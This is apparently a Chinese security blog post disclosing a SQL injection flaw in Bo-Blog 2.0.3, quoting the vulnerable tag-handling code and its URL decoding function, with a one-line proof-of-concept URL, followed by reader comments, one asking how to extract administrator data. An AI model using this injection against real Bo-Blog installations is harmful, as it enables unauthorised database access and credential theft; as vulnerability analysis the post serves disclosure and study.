Bo-Blog 2.0.3 注射漏洞

BY Flyh4t
http://bbs.wolvez.org

上次硬盘坏了丢了很多数据

今天某兄弟生日

掏空我的记忆回想起来一个很老的漏洞

//inc/mod_tag.php

------------------------
if (!defined('VALIDREQUEST')) die ('Access Denied.');

if (!$job) $job='default';
else $job=basename($job);
$itemid=safe_convert($itemid);

acceptrequest('tag,rewrite');
if ($tag!=='') $job='show';
$tag=($config['smarturl']==1 && $config['urlrewrite']==1 && $rewrite==1) ? tagurldecode($tag) : $tag;
//缺省情况$config['smarturl']==1 && $config['urlrewrite']==1 这个条件是不成立的,所以不会调用tagurldecode函数
//要管理员使用urlrewite功能才可以

if ($job=='default') {
..........
}

if ($job=='show') {
    acceptrequest('mode');
    if ($mode==1 || $mode==2) $mbcon['tag_list']=$mode-1;

    $m_b=new getblogs;
    if ($tag==='') catcherror($lnc[192]);

    //$tag 变量进入查询语句,但是需要一个单引号,我们恰好可以通过tagurldecode函数引入单引号
    $allentries=$blog->getgroupbyquery("SELECT * FROM `{$db_prefix}tags` WHERE `tagname`='{$tag}' LIMIT 0,1");
    if (!is_array($allentries[0]) || $allentries[0]['tagentry']=='<end>' || $allentries[0]['tagcounter']==0) {
----------------------------

$tag 变量进入查询语句是被单引号包围的,但是我们恰好可以通过tagurldecode函数引入单引号,看代码

function tagurlencode($str) {//编码函数
    $str=urlencode($str);
    $str=str_replace('-', '--', $str);
    $str=str_replace('%', '-', $str);
    return $str;
}
function tagurldecode($str) { //解码函数
    $str=str_replace('-', '%', $str);
    $str=str_replace('%%', '-', $str);
    $str=urldecode($str);
    return $str;
}

这样我们就可以利用这个漏洞

--------------------
poc:
index.php?act=tag&job=show&rewrite=1&tag=aaaa-27
---------------

相关日志

楼被抢了 5 层了... 抢座Rss 2.0或者 Trackback

  • 猪哥靓

    额,发现注射漏洞貌似已经成为国产黑客唯一的途径了。

    • t1234567

      顶啊。。。。

      这年头连猪**都看不上脚本小子了

  • superhei

    额, 溢出其实也是注射
    ls的是黑客 我们不是

    • 猪哥靓

      鸟客呢还黑客。我还什么都不会呢。
      只是觉得国产黑客太单一了。

  • 菜鸟

    请问鬼仔,这么利用这个漏洞爆管理员信息呢,我怎么一团雾水,麻烦提点提点,谢谢啦

发表评论